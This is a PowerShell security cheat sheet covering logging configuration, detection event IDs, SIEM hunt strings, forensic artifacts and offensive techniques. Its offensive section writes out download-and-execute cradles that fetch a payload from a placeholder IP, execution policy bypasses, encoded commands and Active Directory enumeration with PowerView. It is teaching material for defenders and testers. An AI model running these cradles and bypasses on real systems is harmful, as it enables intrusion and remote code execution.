Category: Cheat Sheets
Tags: powershell, blue-team, red-team, logging, windows-security
PowerShell is the Swiss Army chainsaw of Windows administration. It can deploy patches across a thousand endpoints before lunch, and it can also download and execute malware in a single line that fits in a tweet. Whether it's your best friend or worst enemy depends entirely on which side of the incident you're standing on.
This cheatsheet covers both sides: offensive PowerShell techniques that penetration testers should know, and the defensive logging and detection that blue teams should have in place. Because if you're not logging PowerShell, you're essentially running your enterprise with your eyes closed.
Defensive: Logging Configuration
Before anything else, turn on PowerShell logging. Without it, you're investigating incidents with a blindfold on.
Script Block Logging
Records the actual PowerShell code that was executed -- including decoded/deobfuscated commands. This is the single most valuable PowerShell log source.
# Enable via Group Policy:
# Computer Configuration > Administrative Templates > Windows Components
# > Windows PowerShell > Turn on PowerShell Script Block Logging
# Or via registry:
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" `
-Name "EnableScriptBlockLogging" -Value 1 -PropertyType DWORD -Force
Event ID: 4104 in Microsoft-Windows-PowerShell/Operational
Module Logging
Records pipeline execution details -- which modules and commands ran.
# Enable via Group Policy:
# Computer Configuration > Administrative Templates > Windows Components
# > Windows PowerShell > Turn on Module Logging
# Set module names to "*" for all modules
# Or via registry:
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging" `
-Name "EnableModuleLogging" -Value 1 -PropertyType DWORD -Force
Event ID: 4103 in Microsoft-Windows-PowerShell/Operational
Transcription Logging
Writes full PowerShell session transcripts to disk -- everything typed and output.
# Enable via Group Policy:
# Computer Configuration > Administrative Templates > Windows Components
# > Windows PowerShell > Turn on PowerShell Transcription
# Or via registry:
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription" `
-Name "EnableTranscripting" -Value 1 -PropertyType DWORD -Force
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription" `
-Name "OutputDirectory" -Value "C:\PSTranscripts" -PropertyType String -Force
Constrained Language Mode
Restricts PowerShell to basic operations -- blocks .NET calls, COM objects, and type definitions.
# Check current mode
$ExecutionContext.SessionState.LanguageMode
# Force Constrained Language Mode (requires system-level enforcement via WDAC/AppLocker)
# Cannot be reliably set per-session -- attackers will just start a new session
Defensive: Detection Queries
Key Event IDs
| Event ID | Log | What It Records |
|---|---|---|
| 4103 | PowerShell/Operational | Module/pipeline execution |
| 4104 | PowerShell/Operational | Script block (actual code) |
| 4688 | Security | Process creation (with command line if enabled) |
| 400 | Windows PowerShell | Engine start (PowerShell 2.0+) |
| 403 | Windows PowerShell | Engine stop |
| 800 | Windows PowerShell | Pipeline execution (legacy) |
Suspicious Patterns to Hunt
# In your SIEM, alert on these in Event ID 4104:
# Download cradles
"Net.WebClient"
"DownloadString"
"DownloadFile"
"Invoke-WebRequest"
"IWR"
"wget"
"curl"
"Start-BitsTransfer"
"Invoke-RestMethod"
# Execution from memory
"IEX"
"Invoke-Expression"
"[System.Reflection.Assembly]::Load"
"[Runtime.InteropServices.Marshal]"
# Credential access
"Mimikatz"
"Get-Credential"
"ConvertTo-SecureString"
"SecureString"
"Net.NetworkCredential"
# Encoding/obfuscation
"-enc"
"-encodedcommand"
"FromBase64String"
"[Convert]::FromBase64String"
"Decompress"
"GZipStream"
"MemoryStream"
"IO.Compression"
# Reconnaissance
"Get-Process"
"Get-Service"
"Get-WmiObject"
"Get-ADUser"
"Get-ADComputer"
"Get-ADGroup"
"Get-NetUser" # PowerView
"Get-NetComputer" # PowerView
"Get-DomainController" # PowerView
"Invoke-ShareFinder" # PowerView
Offensive: Common Techniques
For authorised penetration testing only. These are the techniques that red teams use and blue teams need to detect.
Download and Execute
# Download cradle (most common)
IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.99/payload.ps1')
# PowerShell 3.0+ shorthand
IEX (IWR 'http://10.10.10.99/payload.ps1' -UseBasicParsing).Content
# Download to disk
(New-Object Net.WebClient).DownloadFile('http://10.10.10.99/tool.exe','C:\temp\tool.exe')
# BITS transfer (less likely to be blocked)
Start-BitsTransfer -Source 'http://10.10.10.99/tool.exe' -Destination 'C:\temp\tool.exe'
Encoded Commands
Attackers encode commands to bypass simple string-matching detections:
# Encode a command
$cmd = 'Get-Process | Where-Object {$_.ProcessName -eq "lsass"}'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd)
$encoded = [Convert]::ToBase64String($bytes)
powershell.exe -EncodedCommand $encoded
AMSI Bypass Patterns
The Antimalware Scan Interface (AMSI) inspects PowerShell commands before execution. Attackers attempt to bypass it:
# Note: AMSI bypasses are detected by modern EDR
# Documenting these so defenders know what to look for in logs
# Patterns include: reflection to set amsiInitFailed, patching AmsiScanBuffer
Execution Policy Bypass
Execution policy is a safety feature, not a security boundary:
powershell -ExecutionPolicy Bypass -File script.ps1
powershell -ep bypass -file script.ps1
Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass
Offensive: Active Directory Enumeration
# Native AD module (requires RSAT)
Import-Module ActiveDirectory
Get-ADUser -Filter * -Properties *
Get-ADComputer -Filter * -Properties *
Get-ADGroup -Filter * -Properties *
Get-ADGroupMember -Identity "Domain Admins" -Recursive
# Without AD module (LDAP queries)
([adsisearcher]"objectCategory=computer").FindAll()
([adsisearcher]"(&(objectCategory=user)(adminCount=1))").FindAll()
# PowerView (offensive tool)
Get-NetUser
Get-NetComputer
Get-NetGroup "Domain Admins"
Find-LocalAdminAccess
Get-NetSession
Invoke-ShareFinder
Get-DomainController
Forensic: Analysing PowerShell Artifacts
Where to Find Evidence
| Artifact | Location |
|---|---|
| Script Block Log | Microsoft-Windows-PowerShell/Operational (Event 4104) |
| Module Log | Microsoft-Windows-PowerShell/Operational (Event 4103) |
| Transcripts | Configured output directory (default: user's Documents) |
| PSReadline History | %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt |
| Prefetch | C:\Windows\Prefetch\POWERSHELL.EXE-*.pf |
| Amcache | C:\Windows\appcompat\Programs\Amcache.hve |
| WMI Repository | C:\Windows\System32\wbem\Repository\OBJECTS.DATA |
PSReadline History
Often overlooked -- PSReadline stores command history across sessions:
# Read the history file
Get-Content "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
# Default: last 4096 commands
# Attackers sometimes clear this, but the file's $MFT timestamps survive
Quick Reference
| I Want To… | Defensive | Offensive |
|---|---|---|
| See what ran | Event ID 4104 (Script Block) | Get-History / PSReadline |
| Block execution | Constrained Language Mode + WDAC | -ep bypass (not a security control) |
| Log everything | Script Block + Module + Transcription | N/A |
| Find downloads | Hunt for Net.WebClient, IWR, IEX |
Download cradles above |
| Detect recon | Alert on PowerView cmdlets, AD queries | Get-NetUser, Find-LocalAdminAccess |
| Check settings | Get-ExecutionPolicy -List |
$ExecutionContext.SessionState.LanguageMode |
What's Next
- Windows Forensics 104: Event Logs -- the bigger picture of Windows logging
- Wireshark Filters Cheatsheet -- catch what PowerShell does on the wire
- Threat Hunting 101: Methodology -- build hunts around PowerShell abuse




